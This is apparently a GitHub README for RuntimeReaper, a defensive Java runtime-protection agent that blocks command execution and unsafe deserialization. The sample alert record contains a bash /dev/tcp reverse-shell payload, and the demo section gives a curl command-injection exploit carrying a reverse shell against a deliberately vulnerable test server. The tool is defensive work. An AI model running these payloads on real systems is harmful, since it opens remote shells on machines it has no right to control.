Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

RuntimeReaper 🗡️

In-memory RASP (Runtime Application Self-Protection) Java agent. It attaches to a JVM via -javaagent, weaves defensive bytecode into JDK-internal choke points with Byte Buddy, and neutralises common zero-day exploitation techniques (RCE, unsafe deserialization) at runtime — before the malicious operation reaches the operating system or loads a gadget class.

Educational / defensive security tooling. Run it against applications you own or are authorised to test.

RuntimeReaper: a safe command passes, a malicious command is blocked at the JDK

A safe command passes through; a malicious one is blocked at the JDK — before it can run.
Full-quality MP4


Features

Phase Protection Hook point Action
1 Agent skeleton, bootstrap-classloader injection, JPMS bridging
2 RCE guard — reverse shells, piped downloaders, in-line interpreter payloads java.lang.ProcessImpl#start SecurityException
3 Unsafe-deserialization guard — ysoserial gadget families java.io.ObjectInputStream#resolveClass InvalidClassException
4 Structured telemetry — JSON Lines incident records with decoded payload + call stack stderr / file

Extras: block / monitor modes · rule set sealed after startup (self-protection) · base64 payload decoding · zero third-party runtime dependencies (Byte Buddy is shaded & relocated).


📖 The book

A short, beginner-friendly guide that explains RuntimeReaper end to end — from the plain-English idea, through a from-zero tour of the code (JVM, Java agents, Byte Buddy), to deploying and testing it:

📕 RuntimeReaper — Anatomy of a Runtime Security Agent (PDF)

Build

Requires JDK 17 and Maven.

export JAVA_HOME="$HOME/.jdks/jdk-17.0.19+10/Contents/Home"   # adjust to your JDK 17
mvn clean package
# -> target/runtime-reaper-1.0.0.jar

Usage

java -javaagent:target/runtime-reaper-1.0.0.jar \
     -jar your-application.jar

Configuration (system properties)

Property Default Meaning
runtimereaper.mode block block = throw & abort; monitor = report only
runtimereaper.banner false Print the ASCII banner at startup
runtimereaper.telemetry.stderr true Human-readable, colored security alerts on the console
runtimereaper.telemetry.json.stderr false Also emit raw JSON to the console
runtimereaper.telemetry.file (none) Append machine-readable JSON events (NDJSON) to this file
runtimereaper.color auto auto | true | false; auto honours the NO_COLOR env var

The one-time JVM notice Sharing is only supported ... bootstrap classpath has been appended is expected — it confirms our bootstrap injection worked. Add -Xshare:off to silence it if desired.

java -javaagent:target/runtime-reaper-1.0.0.jar \
     -Druntimereaper.mode=monitor \
     -Druntimereaper.telemetry.file=/var/log/runtimereaper.ndjson \
     -jar your-application.jar

Try the attack simulations

javac -d out examples/attacks/*.java
java -javaagent:target/runtime-reaper-1.0.0.jar -cp out RceTest
java -javaagent:target/runtime-reaper-1.0.0.jar -cp out DeserTest

Expected: benign operations run normally; malicious ones are blocked and a JSON event like the following is printed:

{"schema":"runtimereaper.security-event/1","event_type":"RCE_ATTEMPT","action":"BLOCKED",
 "timestamp":"2026-07-21T00:16:03.399Z","rule_id":"RCE-REVSHELL-DEVTCP",
 "rule_description":"Bash /dev/tcp reverse shell","matched_fragment":"/dev/tcp/",
 "payload":"/bin/bash -c bash -i >& /dev/tcp/127.0.0.1/4444 0>&1","decoded_payload":null,
 "thread":"main","pid":5272,"stack":["java.lang.ProcessImpl.start(ProcessImpl.java:167)", ...]}

Demo: blocking an RCE exploit end-to-end

A deliberately vulnerable target (examples/demo/VulnerableServer.java) has a command-injection flaw. Attack it with a browser, curl, or BurpSuite — RuntimeReaper blocks the exploit at the target and returns HTTP 403.

Browser response — the injected reverse shell is refused (HTTP 403):

RCE blocked in the browser

Target console — each blocked request is logged as a colored alert with the matched rule, payload, and the exact application line it originated from:

RASP alerts in the server console

Reproduce it:

javac -d out examples/demo/VulnerableServer.java
java -cp out VulnerableServer 8080     # agent auto-attached via JAVA_TOOL_OPTIONS

# benign  -> runs
curl "http://localhost:8080/ping?host=127.0.0.1"
# exploit -> blocked (HTTP 403)
curl "http://localhost:8080/ping?host=127.0.0.1;%20bash%20-i%20%3E%26%20/dev/tcp/10.0.0.1/4444%200%3E%261"

Architecture

com.runtimereaper.agent        premain/agentmain, AgentBuilder pipeline   (app classloader)
com.runtimereaper.core         BootstrapInjector, ModuleBridge, logger    (app classloader)
com.runtimereaper.protect      ProtectionModule installers + @Advice      (app classloader)
com.runtimereaper.bootstrap    guards, rules, telemetry (pure JDK)        (BOOTSTRAP classloader)

Why two classloader layers? The classes we protect live in java.base and are loaded by the bootstrap classloader. Byte Buddy inlines our @Advice directly into their methods, and that inlined code can only resolve a dispatcher that is also on the bootstrap classloader. So:

  1. BootstrapInjector copies only the com.runtimereaper.bootstrap package into a temp jar and calls Instrumentation#appendToBootstrapClassLoaderSearch.
  2. ModuleBridge adds a JPMS read edge java.base → (reaper bootstrap module) via Instrumentation#redefineModule, otherwise the first protected call would fail with IllegalAccessError.
  3. Guards throw the exception the hooked method already declares, so the abort is clean and idiomatic.

Design choices: fail-closed on detected threats, fail-open on internal guard errors (a bug must never break a legitimate exec/deserialization). Rules sit behind a RuleProvider interface so a file/remote-backed provider can replace the built-in one without touching any guard.


Tests

  • Unit (mvn test): rule matching (true/false positives) and telemetry JSON.
  • Integration (examples/attacks/*): live block/allow behaviour under the agent.

Known gaps & roadmap

RuntimeReaper covers the four phases above; it is not a complete RASP. Tracked limitations and next steps:

Coverage

  • Only RCE and Java-native deserialization are hooked. No JNDI/LDAP injection (Log4Shell-class), SSRF, path traversal, SQLi, or expression-language guards yet.
  • Deserialization protection hooks ObjectInputStream#resolveClass only — alternative sinks (XMLDecoder, readResolve proxies, Kryo, SnakeYAML, Jackson polymorphic typing) are not covered.
  • Windows ProcessImpl#start shares the hooked signature and should work, but is currently verified only on macOS/Unix.

Detection quality

  • RCE detection is signature/regex based → tunable but inherently bypassable (obfuscation, unusual encodings) and can false-positive on exotic-but-legitimate commands. A behavioural/argv-structural model would be stronger.
  • Deserialization uses a blacklist. An allowlist (per-endpoint permitted classes) is the more robust posture and is the recommended next step.

Operations

  • Rules are compiled in (behind RuleProvider). External hot-reloadable config (with signed/authenticated rule files) is designed for but not implemented.
  • Telemetry is synchronous best-effort. High-volume deployments would want async buffering and a pluggable sink (syslog/SIEM/OTLP).
  • Per-protection mode (e.g. block deserialization, monitor RCE) is not yet exposed; mode is global.

Hardening

  • The rule set is sealed post-init, but ReaperConfig.setMode remains open for ops flexibility; lock it down (or require a signed control channel) for production.

Contributions welcome — see the roadmap items above.

License

MIT — see LICENSE.

About

In-memory RASP (Runtime Application Self-Protection) Java agent that blocks RCE and unsafe-deserialization zero-days at runtime via Byte Buddy

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages